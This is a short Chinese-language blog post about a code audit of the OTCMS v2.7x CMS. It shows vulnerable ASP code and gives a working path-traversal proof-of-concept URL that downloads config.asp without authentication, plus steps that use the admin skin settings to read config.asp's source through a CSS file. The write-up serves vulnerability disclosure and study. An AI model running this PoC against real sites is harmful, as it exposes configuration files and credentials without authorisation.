MENU

如何攻击otcms v2.7x?

December 20, 2016 • 个人吐槽

工作需要,代码审计了一次,组合技能,杀伤力还是很大的

0x01 未授权任意文件下载

漏洞文件:/admin/others.asp

mudi=Trim(request.querystring("mudi"))
Select Case mudi
    Case "download_EN_CN"
        Call Download_EN_CN()
End Select
Private Sub Download_EN_CN()
    ENname=Trim(request.querystring("ENname"))
    CNname=Trim(request.querystring("CNname"))
    Call FileDownload(Server.MapPath(ENname),CNname)
End Sub

程序存在的两点问题:

  1. 后台页面未验证后台登陆状态
  2. 对传入参数未进行过滤,使用../可以跳到上级目录。

构造如下poc:

/admin/others.asp?mudi=download_EN_CN&CNname=index.asp&ENname=../config.asp

0x02 任意文件读取漏洞

在/admin/inc/file_skin.asp文件的第165行:

tempContent = File_Read(Server.MapPath(dbPathPart &"skin/"& SI_templateCss))

程序中的SI_templateCss是直接从数据库中取来的。

后台皮肤管理处修改模板样式文件为想读取的asp文件后更新。

查看skin目录下的css

http://localhost/skin/def_black/style7.css

即可读到config.asp的源码了。

Tags: otcms
Archives QR Code
QR Code for this page
Tipping QR Code